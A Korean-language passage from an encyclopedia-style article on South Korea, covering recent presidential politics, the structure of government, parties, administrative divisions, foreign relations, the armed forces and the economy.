최초로 파면된 대통령이 되었다. 문재인 정부 이 부분의 본문은 문재인 정부입니다. 취임 선서를 하는 문재인 대통령 2017년 5월 10일에 치러진 제19대 대선에서 더불어민주당의 문재인 후보가 대통령으로 당선되었다. 문재인 정부는 임기 초반기부터 7~80%대의 높은 지지율을 유지했으며, 탈권위주의 정책 및 적폐청산 정책으로 국민들의 호응을 받았다. 하지만 5대 원칙 공약 파기 및 부실한 인사들을 무리하게 임명하여 논란이 일었고 또 문재인 케어 논란, 탈원전 논란, 코리아 패싱 등으로 계속 논란이 일었다. 그리고 2018년 초반기에 들어서서 남북 단일팀 논란, 가상화폐 규제 등을 무리하게 밀어붙이고 미세먼지 공약 미이행 논란까지 불거지면서 보수층과 중도층, 젊은층의 반발로 지지율이 하락했다. 그러나 탈권위주의 정책과 적폐청산 정책을 과감히 추진하고 평창 동계올림픽의 흥행으로 다시 지지율이 상승했다. 하지만 대한민국의 미투 운동에 더불어민주당의 일부 정계인사들이 연루되고, 금융감독원장에 임명된 김기식이 여러 논란에 휩싸임과 동시에 더불어민주당원 댓글 조작 사건이 불거지면서 다시 위기에 몰렸으나 2018년 제1차 남북정상회담과 2018년 제2차 남북정상회담을 통해서 평화무드를 조성하면서 지지율을 크게 상승시켰고, 이어진 제7회 전국동시지방선거에서 더불어민주당이 크게 승리하면서 국정운영에 계속 탄력을 받게 되었다. 하지만 지방선거 이후 경제가 하락하고 제주 난민 사태, 일자리 정책 실패, 최저임금 인상 논란, 근로시간 주52시간 단축 논란, 부동산 대책 논란, 리비아 한국인 납치 사건 대처 미흡 논란, 북한 석탄 밀수 사건, 국방백서 북한 주적 삭제 논란, 통계청장 경질 논란이 불거지고 이에 대해 문재인 정부가 주변의 비판여론에도 불구하고 밀어붙이면서 보수층, 중도층, 젊은층의 반발을 불러일으키면서 문재인 정부의 지지율이 계속 하락했다. 그러나 2018년 제3차 남북정상회담을 잘 이끌어내면서 지지율이 다시 상승기류를 탔다. 하지만 이후로는 경제 불황과 소득주도성장에 대한 부작용이 다시 이슈가 되고 북미 비핵화 협상 교착화와 혜경궁 김씨 논란, 그리고 청와대 의전비서관의 음주운전과 청와대 민정수석실 특별감찰반 일탈 논란으로 다시 지지율이 하락하고 있다. 정치 이 부분의 본문은 대한민국의 정치입니다. 대한민국 임시정부는 1919년 4월 13일에 중화민국 상하이에서 수립되었으며 1945년 8월 15일 일본 제국으로부터 해방되었다. 신탁 통치 찬반을 놓고 좌파 진영과 우파 진영 간의 갈등이 극에 달하게 되었으며, 이후 미국과 구 소련의 분할 군정에 놓여 있다가, 1948년 5월 10일 총선을 거쳐 7월 17일 첫 헌법이 제정되었고 8월 15일에 대한민국임시정부의 정통성을 이어받은 대한민국 정부로 공식 출범하게 된다. 대한민국은 자유민주적 기본절서에 입각한 자유 민주 공화국으로 대통령제를 기본으로 하여 의원내각제적 요소를 혼합한 정치 제도(그 예로 국무총리가 존재하고, 국회의원이 장·차관급 공직자를 지낼 수 있다)를 채택하고 있고, 대한제국이 일본에 의해 멸망한 후 3·1 운동 정신으로 창립된 대한민국 임시정부의 법통과 독재의 불의에 항거한 4·19 혁명의 민주주의 이념을 계승함을 헌법 전문에 명백히 밝혀두고 있다. 한편 대한민국 헌법은 1948년 7월 17일 공포되었으며 개인의 인권을 존중하고 사유재산을 인정하고 있다. 그 이후에도 헌법은 9차례에 걸쳐 개정되었다. 그 가운데 박정희 때의 유신 헌법은 긴급조치 등 대통령의 권한을 강화해 국민의 자유기본권을 제약하는 비민주적이었지만 그 당시 국내외를 둘러싼 환경에 의해 불가피한 조치였다는 다른 시각도 있다. 현재 발효 중인 헌법은 제6공화국의 수립에 따라 1987년 여야 합의를 통해 개정되었다. 또한 3권 분립의 원칙에 따라 독립적인 세 개의 권력 기관을 근간으로 하여 국가를 구성하고 있다. 정부 입법부 국회의사당 이 부분의 본문은 대한민국 국회입니다. 입법부의 주축을 이루고 있는 대한민국 국회는 현재 총 300석의 단원제로 구성되어 있다. 대한민국 임시정부의 입법부였던 임시의정원을 기원으로 두고 있으며, 1948년 5월 10일 구성된 제헌국회가 대한민국 최초의 국회이다. 매년 1회의 정기회(100일 이내)와 30일 이내의 임시회가 열리며, 회기 중에 국회는 법의 의결권과 예산안의 심사, 국정 감사와 헌법에 명시된 기관장의 임명 동의 및 조약의 체결 및 비준 동의 등의 활동을 한다. 대한민국 국회의원의 임기는 4년이며, 임기 중 의사진행과 관한 발언에 대한 면책특권과 회기 중 불체포특권을 가진다. 공직선거법에 따른 피선거권을 충족한 인물로, 국회의원 총선거나 재선거 및 보궐선거, 혹은 대한민국 중앙선거관리위원회의 비례대표 의석승계 결정에 따라 선출된다. 대한민국 국회의장과 부의장은 국회의원 중에서 본회의의 무기명 투표를 거쳐 선출되며, 그 임기는 국회 회기의 절반에 해당되는 2년이다. 행정부 이 부분의 본문은 대한민국 정부입니다. 정부서울청사 대한민국의 행정부에 해당하는 대한민국 정부는 대통령을 수반으로 하여 입법부에서 법률로써 정한 사안들을 실행한다. 대통령은 국무총리와 국무위원으로 구성된 국무회의의 조력을 받아 업무를 처리한다. 대통령은 5년 단임으로 국민의 보통, 평등, 직접, 비밀 선거에 의하여 선출된다. 대통령은 국회가 통과한 법률을 거부할 권한이 있다. 그러나 한 번 거부한 법률을 국회가 다시 통과시킨다면(단, 국회는 재적의원 과반수의 출석과 3분의 2의 동의를 얻어야 한다.) 그 법률은 그대로 통과된다. 대통령은 헌법재판소의 재판관 3인과 대법관 등을 임명할 수 있다. 대통령은 조약을 체결·비준하고, 외교사절을 신임·접수 또는 파견하며, 선전포고와 강화를 할 권한을 가지고 있으며, 국군을 통수하며 공무원 임명을 할 수 있는 등 국정 전반에 걸쳐 방대한 권한을 행사한다. 대통령의 명을 받아 내각을 통할하기 위하여, 대통령의 보좌기관으로서 국무총리를 두고 있다. 국무총리는 대통령이 임명하되 국회의 동의를 받아야 한다. 국무총리는 내각의 구성원을 대통령에게 임명을 제청하며 내각을 통솔한다. 대통령의 유고 시 국무총리가 대통령의 권한을 대행하게 되며 국무총리가 유고시 경제부총리 겸 기획재정부 장관, 사회부총리 겸 교육부 장관 순으로 권한을 대행한다. 사법부 대법원 이 부분의 본문은 대한민국의 법원입니다. 대한민국의 사법부는 대다수의 현대 국가들과 마찬가지로, 재판에 있어서 공정한 심판을 위해 3심제로 이루어져 있다. 대법원을 최고법원으로, 그 밑에 고등법원, 지방법원, 지방법원의 지원과 특허법원, 가정법원, 행정법원 등의 전문성을 요구하는 법률 심사를 위해 설치된 특수법원(여기에서의 재판은 1심의 판결과 동일하다.)으로 구성되어 있다. 대한민국 국군의 경우 군사법원법에 따라 군사재판을 할 수 있으나, 최종심은 대법원이 관할한다. 한편 법원과는 별도로 각종 법령 등의 위헌 여부를 심사하는 헌법 재판소가 구성되어 있다. 헌법재판소에서는 법률이 헌법에 위배되는지를 판가름하는 위헌법률심판, 대통령을 비롯한 공무원의 탄핵 소추를 심사하는 탄핵심판, 위헌 정당의 해산 여부를 심사하는 정당해산심판, 권한쟁의심판, 헌법소원심판 등을 심사한다. 헌법재판소의 재판관은 총 9명이며, 대통령, 국회, 대법원장이 각각 3명씩 선출하고 대통령이 임명한다. 헌법재판소장은 대통령이 국회의 동의를 얻어 임명한다. 최고 법원인 대법원의 법관인 대법관은 대법원장의 제청에 따라 국회 동의를 거쳐 대통령이 임명한다. 대법관의 임기는 헌법을 통해 보장되며, 그 연한은 6년이다. 정당 이 부분의 본문은 대한민국의 정당입니다. 대한민국에서는 헌법 제8조에 의해 자유롭게 정당을 결성할 수 있으며, 복수정당제가 보장된다. 가장 최근에는 20대 국회가 2016년 5월 30일부터 개원하였다. 2017년 6월을 기준으로 여당과 1석 차이로 원내 제1당이 된 더불어민주당이 있으며 그 밖의 원내 교섭단체를 구성한 정당(국회에 의석을 20석 이상 가진 정당)으로는 자유한국당, 바른미래당이 있다. 비교섭단체인 정당(국회에 의석을 1석 이상 가진 정당)으로는 정의당, 민주평화당, 민중당, 우리공화당이 있다. 국회에 의석이 없는 정당으로는 노동당, 녹색당 등이 있다. 제20대 총선 당시에는 더불어민주당 123석, 새누리당 122석, 국민의당 38석, 정의당 6석으로 더불어민주당이 원내 제1당이 되었다. 새누리당 공천을 받지 못해 탈당한 새누리당 전 소속 의원들이 무소속으로 당선되면서 새누리당에 재입당 하여 129석으로 새누리당이 다시 원내 제1당이 되었으나, 박근혜-최순실 게이트의 여파로 인해 비박계들이 탈당하였고, 94석으로 줄어 다시 원내 제2당이 되었고, 바른정당 소속의 탈당계가 들어옴에 따라 110석 이상을 확보하였다. 2019년 기준의 정당별 의석 수는 더불어민주당 128석, 자유한국당 114석, 바른미래당 28석[26], 민주평화당 14석, 정의당 6석, 민중당과 대한애국당이 각각 1석이다. 행정 구역 이 부분의 본문은 대한민국의 행정 구역입니다. 특별시 광역시 도 특별자치도 특별자치시 1 서울특별시 2 부산광역시 8 경기도 16 제주특별자치도 17 세종특별자치시 3 대구광역시 9 강원도 4 인천광역시 10 충청북도 5 광주광역시 11 충청남도 6 대전광역시 14 경상북도 7 울산광역시 15 경상남도 12 전라북도 13 전라남도 대한민국의 전 지역은 1개의 특별시, 6개의 광역시, 8개의 도, 1개의 특별자치도, 1개의 특별자치시로 나뉜다. 이상 총 17개의 행정구역은 광역지방자치단체로 구분된다. 특별시는 구로, 광역시는 구와 군으로, 도는 시와 군으로 다시 나뉜다. 이상의 행정구역은 기초지방자치단체로 구분된다. 특별시와 6개 광역시에는 2008년 4월 기준으로 총 69개의 자치구가 설치되어 있다. 또한 6개 광역시와 8개 도에는 총 75개의 자치시와 82개의 군이 설치되어 있다.[27] 특별자치도는 자치시가 아닌 행정시를 둘 수 있으며, 행정시는 특별자치도지사 직속기관으로서 기초지방자치단체로서의 권한이 없다. 광역자치단체인 도 하위의 인구 50만 이상의 자치시에는 일반구를 둘 수 있는데, 일반구도 기초자치단체로서의 권한이 없기 때문에 특별시·광역시의 자치구와 구별된다. 시와 구(자치구, 일반구)는 읍·면·동으로, 군은 읍·면으로 나뉜다. 읍·면은 리로, 동은 통으로 나뉜다. 통 및 리는 말단 행정 구역인 반으로 나뉜다. 한편, 대한민국 헌법 제3조에는 "대한민국의 영토는 한반도와 그 부속도서로 한다."라고 명시되어 있다. 이는 대한민국을 한반도의 유일한 합법정부로 선언하는 성격을 가지고 있어, 조선민주주의인민공화국을 "영토고권을 침해하는 반국가단체"로 규정하는 근거가 된다.[28] 때문에 대한민국은 휴전선 이북 영토를 관할하는 이북5도위원회를 안전행정부 관할로 두어 형식상의 도지사와 시장, 군수 등을 선출하고 있다.(함경북도, 함경남도, 평안북도, 평안남도, 황해도, 미수복 강원도, 미수복 경기도 및 예하 시·군 관할) 대한민국 헌법의 관점으로 볼 때, 현재 대한민국의 최동단은 동해 상의 독도, 서단은 압록강의 비단섬, 남단은 제주도의 남쪽 바다에 위치한 마라도, 북단은 함경북도 온성군 부근이 된다.[28] 대한민국이 영유권을 주장하는 지역은 조선민주주의인민공화국이 실효지배중인 지역과 대한민국이 실효지배중인 지역과 거의 같으나 중화인민공화국이 실효 지배중인 백두산 천지 북부에 대하여 영유권을 주장하여 대한민국의 지도 상에 백두산 천지 전체를 대한민국의 영토로 표시하고 있다. 이밖에 러시아가 실효지배중인 녹둔도에 대하여 지도상으로는 표시하고 있지 않으나 영유권을 주장하고 있다. 외교 이 부분의 본문은 대한민국의 대외 관계입니다. 대한민국의 외교에 관한 업무는 외교부가 맡고 있다. 휴전선을 사이에 두고 이웃한 조선민주주의인민공화국과는 한국 전쟁을 겪은 뒤 적대적인 관계가 유지되었다. 김대중과 노무현 정부는 햇볕 정책, 곧 대북유화책을 시도했으나 차후 북한의 핵무기와 미사일 개발 등 대남 도발 행위로 인해 중단되었다. 이명박과 박근혜 정부는 연평도 도발, 천안함 폭침, 목함 지뢰 사건 등이 발생함과 동시에 대북 강경정책을 실시했고, 이에 따라 남북 관계가 상대적으로 경색되었다. 대한민국의 외교는 한국 전쟁에서 큰 역할을 담당하였던 미국과는 긴밀한 관계를 맺고 있다. 과거 한반도를 식민 통치하였던 일본과는 1965년 수교하였다. 대한민국은 현재 유엔 회원국 중 조선민주주의인민공화국, 마케도니아, 시리아, 쿠바 등 4개국과 외교 관계가 없으며, 이 중 조선민주주의인민공화국을 국가로 인정하지 않는다. 이외에 서사하라, 중화민국, 팔레스타인, 코소보 등도 외교 관계가 없다. 이 중 중화민국은 대한민국 정부 수립 때부터 수교국이었으나 1992년에 국교가 단절되었다. 그렇지만 현재 대한민국과 중화민국 양국은 양국 수도에 서로 대표부(타이베이 대표부)를 설치하여 운영중에 있고 상호간의 왕래와 민간교류는 자유롭다. 팔레스타인의 경우에는 대한민국이 팔레스타인에 대표부를 설치하여 운영중에 있다. 과거에는 통상에 관한 업무를 전문적으로 관장하기 위해 외교통상부 산하 통상교섭본부를 설치해 운영하였으나, 정부조직 개편에 따라 산업통상자원부로 이관되었다. 대한민국의 영토인 독도, 이어도 등에 대하여 이웃한 일본, 중화인민공화국이 각각 영유권을 주장하고 있다. 현재 대한민국은 유엔과 WTO, OECD, 그리고 G-20의 구성원이며 또한 APEC와 동아시아 정상회의의 창립 가맹국이며, 미국의 주요 비NATO 동맹국(MNNA)이다. 한편 2007년부터 2010년 상반기까지 해외에서 추방한 대한민국 국민이 2,111명으로 일본에서 제일 많았다.[29] 남북 관계 이 부분의 본문은 남북 관계입니다. 대한민국은 조선민주주의인민공화국의 수립 당시부터 현재까지 국가로 승인하지 않으며, 조선민주주의인민공화국 정부에 대하여 국제법상 교전단체의 지위만을 인정한다. 또한, 대한민국은 대한민국 헌법을 비롯한 국내법상 조선민주주의인민공화국이 차지하고 있는 지역 일체를 대한민국의 고유한 영토로 간주하고 있으며, 따라서 자국 영토를 불법적으로 점거하는 반국가단체로 본다. 국민의 정부 당시 최초의 남북정상회담이 개최되었으며 조선민주주의인민공화국과의 물자 교류는 참여정부 말까지 활발했으나 조선민주주의인민공화국의 대남 도발 등으로 인해 2013년 금강산 관광 산업, 개성공단까지 중지된 상태이였지만 남북회담을 통해 재가동하기로 했다. 그러나 2015년 이후 조선민주주의인민공화국이 계속해서 대남 도발, 핵 실험, 미사일 발사 등을 진행함에 따라 다시 중지되었다. 한미 관계 이명박 전 대통령과 부시 미 전 대통령이 함께한 모습 이 부분의 본문은 한미 관계입니다. 대한민국과 미국의 관계는 19세기 중반인 1871년 조선의 통상을 요구하던 제너럴셔먼호 사건으로 거슬러 올라간다. 그러나 당시 조선은 흥선대원군의 쇄국정책으로 완강히버티자 얼마버티지 못하고 돌아간다. 그 뒤 일본의 운요호 사건을 계기로 조선은 쇄국정책을 풀고 일본을 비롯한 세계열강과 통상조약을 맺게되자 미국은 1882년에 조선과 통상조약을 맺어 공식적으로 외교관계를 가지게 된다. 1897년에 고종이 대한제국을 선포할때 미국은 특사를 파견하여 축하해주기도했다. 그러나 이러한 관계는 1905년 을사조약 뒤부터 뒤틀어졌는데 당시 미국 제26대 대통령 시어도어 루스벨트의 딸인 엘리스 루스벨트가 미국을 대표하여 대한제국에 방문했을때 고종의 환대에도 없는 사람 취급하였고 고종의 아내였던 명성황후 무덤앞의 말조각상에서 앉아 사진을 찍는 무례함을 범했기 때문이다. 설상가상으로 1910년 일본제국의 대한제국 강제합병을 계기로 미국과의 외교관계가 단절된다. 1948년 대한민국은 미국의 원조로 민주 정부를 수립하였고 그 이래로 미국의 대량 원조를 통해 매우 광범위하게 발전하여 왔다. 미국은 한국 전쟁(1950년~1953년) 당시 유엔군을 조직하여 대한민국 편에서 참전하여 절대적인 역할을 하였고 휴전 이후에도 주한 미군이 계속 주둔하고 있고 대한민국은 주한미군에 의한 군사적 보호속에서 매우 긴밀한 동맹관계를 유지해 오고 있다. 제5공화국 때는 부산 미국문화원 방화사건도 있었고, 2000년대 들어서 주한미군 한강 독극물 무단 방류 사건, 미군 장갑차 여중생 압사 사건 등으로 일부 반미 감정이 고조되기도 하였다. 2007년 한미자유무역협정이 체결되었고 문서 공개 이후 한동안 상당한 논란에 휩싸였다. 이후 이명박 정부가 출범하면서 미국산 쇠고기 수입 협상 논란은 촛불 시위로 비화되어 2008년 미국산 쇠고기 수입 협상 논란을 겪었다. 한편 이명박 정부가 출범된 이후 한미 관계가 상당히 강화되었다. 현재 대한민국은 군사, 외교, 경제적으로 깊은 관계를 맺고 있다. 한일 관계 대한민국과 일본이 서로 영유권을 주장하고 있는 독도. 현재 대한민국이 실효 지배하고 있는 섬이다. 이 부분의 본문은 한일 관계입니다. 양국은 1965년 한일 협정을 통해 공식적인 외교 관계를 수립하였다. 양국 간에 역사 인식, 영토 등에 대한 갈등이 존재한다. 제2차 세계대전 당시의 전범들을 숭배하는 야스쿠니 신사 참배 문제나 독도 문제, 동해 명칭 문제, 일본군 위안부도 민감한 문제이다. 일본의 고이즈미 준이치로 내각과 아베 신조 내각 당시에는 한일 셔틀외교가 중단되는 등 양국관계가 멀어졌으나 아시아 외교를 중시하는 일본 후쿠다 야스오·하토야마 유키오 내각의 출범과 한일관계를 보다 중시하는 대한민국의 이명박 정부가 출범한 이후 관계가 개선과 악화를 반복하다가 일본 민주당 하토야마 유키오 총리가 취임하면서 한일관계가 강화되었다. 2002년에는 양국이 공동주관하여 한일 월드컵을 개최하기도 하였다. 2000년대에 들어서는 일본에서 한국 문화에 대한 선호도가 높아지면서 이른바 '한류 열풍'이 불어 양국간 교류가 많이 증진되었다. 그러나 역사·영토(독도) 문제 등 여러 부분에서 논란이 계속되고 있고, 일본이 집단자위권을 강화함으로써 양국 관계도 점차 경직되어가고 있다. 한중 관계 이 부분의 본문은 한중 관계 (1948년) 및 한중 관계 (1992년)입니다. 대한민국은 1948년 정부 수립 직후부터 중화민국과 외교 관계를 수립하였다. 1950년에 발발한 한국 전쟁에서 조선민주주의인민공화국을 지원한 중화인민공화국과는 적대 관계가 되었으며, 1992년까지 외교 관계를 맺지 않고 있었다. 그러나 대한민국은 중화인민공화국과 1992년 공식 수교하면서, 기존의 중화민국과 단교하여 오늘에 이르고 있다. 조선민주주의인민공화국과 관련된 여러 문제가 있는 와중에도 양국은 외교 관계를 이루고 있다. 2016년 주한 미군의 '고고도 미사일 방어 체계(THAAD)' 배치 추진과 미・중 무역 갈등 문제 등 국제 사회에서의 충돌로 인하여 한중 관계과 악화되고 있다. 한러 관계 이 부분의 본문은 한러 관계입니다. 러시아는 구 소비에트 연방의 법통을 이어받은 나라로, 자본주의와 공산주의 국가 간의 갈등이었던 동・서 냉전으로 인해 대한민국과는 적대적인 관계였으나 탈냉전 이후에 한소수교가 1990년에 전격적으로 이루어졌으며, 소련 붕괴 이후의 러시아와 경제, 문화, 우주기술협력, 군사(불곰사업) 등에서 밀접한 관계를 추진해나가기 시작했다. 하지만 녹둔도 문제를 포함해서 연해주 등 잠재된 영토 문제가 아직 남아있지만 남북분단으로 인해 가시화되지는 않았다. 대한민국의 위성인 나로호 발사도 러시아의 협조 하에 발사했다. 현재 12만 5000명의 고려인이 러시아에 거주하고 있다. 러시아와 한국은 대한항공, 아시아나항공, 아에로플로트 등 여러 항공사가 매일 운항하고 있다. 국방 이 부분의 본문은 대한민국 국군입니다. 대한민국은 조선민주주의인민공화국과의 대립으로 인해 일찍부터 군사력을 증강시켜 왔으며 1990년대까지는 양적 위주의 성장을 추진했으나, 2000년대 들어 새로운 무기 기술의 개발과 발달로 인해 질적 성장을 이루었다. 대한민국 국방부가 국군(國軍)이라고 불리는 대한민국의 군을 지휘하고 있다. 2013년 7월 기준 병력 규모는 현역이 약 670,000명으로 세계 6위, 대한민국 예비군은 약 3,200,000명으로 세계 5위이다.[30] 세계에서 11번째로 탄도미사일을 독자 개발했다.[31] 대한민국 국군의 경우 여군은 기갑, 포병, 잠수함 병과에는 진출할 수 없었으나 2014년 9월 창군이래 최초 여군 포병장교가 탄생하였고 기갑병과에도 여군이 진출함에 따라 다양한 병과에서 여군들이 활약하고 있다. [32] 육군 K1 전차 이 부분의 본문은 대한민국 육군입니다. 대한민국 육군은 병력 약 520,000명, 전차 약 2,300대, 장갑차 약 2,500대, 견인포/자주포/다연장 로켓포 약 5,200문, 유도무기 30기, 헬기 600기를 보유하고 있다.[33] 현재 국방과학연구소(ADD)는 전차[34] K2 전차(K2 흑표, Black Panther)를 개발했다. K-2 전차는 2014년 대한민국 육군에 정식으로 배치된다. K-21 전투장갑차는 2012년경 전력화하였고 복합형 소총인 K-11 소총을 운용하고 있다.[35] 2012년 1월 육군에는 현재 39개 사단(전방 기계화보병사단 6개[36], 그 외 상비 사단 16개, 향토 방위 12개, 동원 예비군 5개)으로 이루어져 있다. 그 외 해군 예하 해병대 2개 사단이 있다. 2020년까지 1군사령부와 3군사령부를 지상작전사령부로 통합하며, 5개의 지역군단(수도방위사령부도 지역군단으로 함)과 2개의 기동군단으로 개편하고, 향토사단 자체는 존치하며, 동원사단은 4개로 줄이고 전 부대를 기계화부대로 편성한다. 병사들의 개인화기 및 개인장비, 피복을 개선시키는 중이다. 전투력 향상을 위해 고글+무릎(팔꿈치)보호대+장갑+방탄복+야간 야시장비+스코프+도트사이트+광학장비를 지급하고 보병장비, 개인장비, 장구류, 군장이 늘어나고 저격소총, 옵션장비 ,사격장, 1인당 교탄증가가 되었다. 소대장이 항공근접지원을 직접 유도할 수 있고 병사들은 무인 항공기를 수시로 띄울 수 있다. 시가전 능력을 향상시키기 위해 신속대응 훈련과 CQB 훈련과 시가전 훈련을 자주 진행 중이다. 실전 훈련처럼 진행한다. 현대전에 맞추기 위해 육군 전 부대 대대급 현대화가 진행 중이다. 저격수, 정찰 저격수들을 육군 전 부대(소대급)에서 양성중이다. 저격수 학교를 창설한다. 저격수 규범은 미국 저격수 규범과 똑같은 저격수 교범을 채택하였다. 공군 대한민국 공군의 주력 기체 중 하나인 F-15K 이 부분의 본문은 대한민국 공군입니다. 대한민국 공군의 장비는 F-15K 60대, KF-16 (Block 52+) 134대와 F-16C/D (Block 52+) (PB형) 35여대, F-4E 80대 (퇴역 중), KF-5E/F (제공호)와 F-5E (타이거 II) 195대, T-103 러시아제 훈련기 IL-103 72대, KT-1 기본 훈련기 105대, KA-1 전선항공통제기/경공격기 20대, T-50 고등 훈련기 60대+98대 생산 확정, T-50B (블랙 이글스) 10대를 보유 중이며, TA-50 전술입문기 (LIFT) 22대를 운용 중이고 KF-16에 버금가는 다목적 전투기인 FA-50 60~120대를 도입 중에 있다. F-4E, KF-5E/F (제공호)와 F-5E (타이거 II)등은 지속적으로 도태되고 있어서 F-5E (타이거 II), KF-5E/F (제공호)는 FA-50 60대로 대체되고, F-4E는 F-35A로 대체되며 T-103 훈련기 72대 역시 기체 노후화로 한국항공우주산업이 개발한 KC-100 나라온으로 대체된다. 수송기는 전략 전술 수송기인 C-130J-30 4대 C-130H 12대, CN-235-220M 18대가 있으며 VIP 수송용으로 대한항공에서 임차한 보잉 747-400 1대를 비롯해 보잉 737-300 1대, VCN-235 2대, VC-118 1대, BAe-748 2대가 있다. 정찰기로는 호커800기를 개조한 금강정찰기와 백두정찰기, RF-4C 18대, RKF-16 5대를 보유, 운용하고 있으며, 공중 조기 경보 통제기 보잉 E-737 피스아이 4대를 운용 중이며 회전익 항공기 (헬기)는 구조.탐색용인 HH-60 페이브호크, HH-47 치누크, 카모프 Ka-32가 있으며 병력 수송용인 벨 205, 212, 412, UH-60 블랙호크 등이 있다. 이외에도 VIP 수송용인 VH-92, VH-60, AS-362 '수퍼퓨마'가 있다. 또한 공군은 국산 헬기인 수리온을 2기 주문하였다. 사병들의 전투력 향상을 위해 소화기 실탄 사격장 및 1인당 실탄사격 훈련의 내실화와 사병들의 개인 장비도 지속적으로 개선하고 있다. 공군 전력사업 중에서 가장 큰 규모의 사업인 한국형 전투기 사업인 KF-X 사업과 차기 대통령전용기 사업인 VC-X사업, 원격지원전자전기 사업, 스텔스 무인 전투기(UCAV)의 개발 및 사업을 진행 중이며 최근 KC-X 사업의 최종 후보로 에어버스 A330 MRTT가 선정, 4대 구매를 체결하였다. 해군 림팩 2006 훈련에 참가중인 DDH-976 문무대왕함 이 부분의 본문은 대한민국 해군입니다. 대한민국 해군(예하 해병대 포함)은 병력 약 68,000명, 잠수함 약 20 척, 전투함정 약 140 척, 지원함정 20 척, 대잠헬기 및 해상초계기 50 대를 보유하고 있고 차기 군함들을 비롯해 모든 군함들은 선체 전체에 광범위하게 스텔스 설계를 적용하고 레이다 반사율을 줄이기 위해 경사설계를 적용한다.[37] 총 3개 함대와 4개 전단을 두고 있다. 해병대 한 대한민국 해병대원이 강습 훈련을 하고 있다. 이 부분의 본문은 대한민국 해병대입니다. 대한민국 해병대는 대한민국 해군 예하에 편성되어 있는 군으로서 국가 전략 기동군으로서 해병대는 상륙작전을 수행한다. 대한민국 해군(예하 해병대 포함)은 병력 약 69,000명, 잠수함 약 20 척, 전투함정 약 140척, 지원함정 20척, 헬기/해상초계기 약 50대, K1A1 전차와 K9 자주포, 상륙돌격장갑차(KAAVP7A1) 등의 기갑 차량, 상륙 장비를 보유하고 있다.[37] 대한민국 해병대는 1949년 4월 15일 경상남도 진해시에서 초대 지휘관에 신현준 중령이 임명되고, 해군 장교 26명, 부사관 54명, 병 300명으로 창설되었다. 해군 예하의 국가 전략기동군으로서 상륙 작전을 주임무로 하며, 그 외 김포, 강화, 포항, 경주, 진해, 제주, 도서지역 등 방어, 상륙작전을 하고, 예비군 교육 및 훈련 등의 임무도 수행한다. 2014년 기준으로, 2개 사단과 1개 여단을 보유하고 있고, 이외에도 연평도와 진해, 제주도 및 기타 여러 도서 지역들에도 해병 부대들을 주둔시키고 있다. 경제 이 부분의 본문은 대한민국의 경제입니다. 개관 한국종합무역센터(트레이드 타워)의 모습 한강과 반포교, 여의도의 63빌딩은 서울과 한강의 랜드마크들이다. 대한민국의 국내총생산 그래프 대한민국은 기본적으로 자유민주주의 시장경제 체제를 유지하고 있으며, 혼합자본주의 체재를 택하고 있다. 한국의 경제 발전은 이승만 정권의 경제관료 양성으로 시작되었다. 이후 4.19 혁명으로 세워진 장면 정권에 의해 기존에 양성된 경제관료를 중심으로 경제 개발 계획이 준비되었으나 5·16 군사정변 발발로 실행되지 못했다. 1960년대 박정희 정부의 주도로 경제 개발 계획을 성실히 수행하였으며, 경공업 육성을 통해 본격적인 산업화를 시작했다. 1973년 이후 박정희 정부의 중화학공업 발전 정책으로 철강, 전자, 조선 산업 등이 크게 발달하며 수출을 증대 시키고 국가 경제를 매우 빠른 속도로 성장 시켰다. 1980년대 전두환 정부 때에는 3저호황과 중화학공업 과잉 투자 조정으로 하여금 세계적인 수준의 공업국가로 올라섰다. .[38] 1960~80년대 고속 경제 성장으로 한때 중화민국, 홍콩, 싱가포르와 함께 '아시아의 네 마리 호랑이(혹은 아시아의 네 마리 용)'로 불렸으며, 1994년에는 사상 처음으로 국민소득 1만 달러를 넘어섰다. 1997년에는 외환위기로 IMF 구제금융사건을 겪었으나, 2년 만에 상당부분 회복했으며 김대중 정부는 이를 해결했음을 선언했다. 그러나 대량 해고, 청년 실직자 문제, 니트족 현상 등의 부작용이 함께 나타났다. 그 후 노무현 정부의 꾸준한 경제 개혁을 통해 2007년까지 매년 백억 달러 이상의 경상흑자와 평균 4%대의 경제발전을 이루어 명목 국민소득 2만 달러, 실질 국민소득 2만 5천 달러를 이루었다. 2015년 현재 국제통화기금(IMF)이 발표한 자료에 따르면 한국의 PPP기준 1인당 국내총생산은 3만 6,601달러이며 이것은 세계 29위 수준이다.[39] 2007년 골드만삭스는 대한민국이 2050년, 브릭스+넥스트 일레븐+G7 1인당 명목 GDP가 90,294 달러가 되어 91,683달러인 미국에 이어 주요 경제국 중 2위에 오를 것이라고 전망하기도 했다.[40] 대한민국은 자본력이 부족한 환경에 따라 독특한 형태의 경제발전을 진행시켜 왔는데, 박정희 당시 계획경제체제를 시행, 수출을 통한 성장을 목적으로, 자본 및 기술적 기반이 약한 중소기업보다는 재벌기업이 주류인 대기업을 축으로 하는 기업경제구조를 세웠으며, 천연 자원이 절대적으로 부족해 가공무역을 핵심으로 삼은 수출주도형 경제성장정책을 도입하였다. 그 결과, 수출과 수입에 많이 의존하는 편이며,[41] 주요 무역 상대국은 중화인민공화국, 미국, 일본, 중화민국, 독일, 영국, 인도네시아, 말레이시아 등이다. 반도체 세계 1위 삼성을 비롯하여 1983년부터 세계 조선 1위를 지켜오고 있는 현대, 백색가전의 LG, 세계 철강 4위인 포스코 등의 여러 기업 집단을 가지고 있으며 포춘지 선정 세계 500대 기업 중 17개가 대한민국 기업이다.[42] 대한민국의 대부분의 상장기업에는 개인지배주주가 존재한다. 반면에 기업발전에 따른 외부자본조달로 지배주주의 지분율 하락이 불가피한 가운데 지배주주와 소수주주간 이해상충문제가 심각한 편이다. 대한민국 경제의 중요한 부분을 차지하는 대규모기업집단의 경우 지배구조가 계열사간 피라미드 및 순환식 소유구조에 의해 경영권을 확보하고 있으나, 이는 현금권과 통제권 간의 상당한 괴리를 가져와 기업가치에 부정적 영향을 미치는 문제를 안고 있다. 경영권 행사에 따른 사적 경영권 혜택이 과도하여 기업이 망하지 않는 한 경영권 교체가 이루어지지 않는 비효율적 산업구조는 대한민국 경제의 치명적 약점으로 지적되고 있다. 1990년대 이후 대한민국 내의 노동자의 임금이 상승하자 기업들은 임금이 싼 해외로 공장을 이전하기 시작하였다. 특히 중화인민공화국에 진출해있는 대한민국 기업이 많으며, 베트남, 태국, 인도네시아 등 동남아시아에도 많이 진출해 있다. 최근에 중앙유럽 국가들이 유럽 연합(EU)에 가입하여 관세가 철폐되면서 중앙유럽으로 진출하는 기업들도 늘고 있다. 조선민주주의인민공화국의 개방이 가속화되면서 개성공단에 입주하는 기업도 늘어났으나, 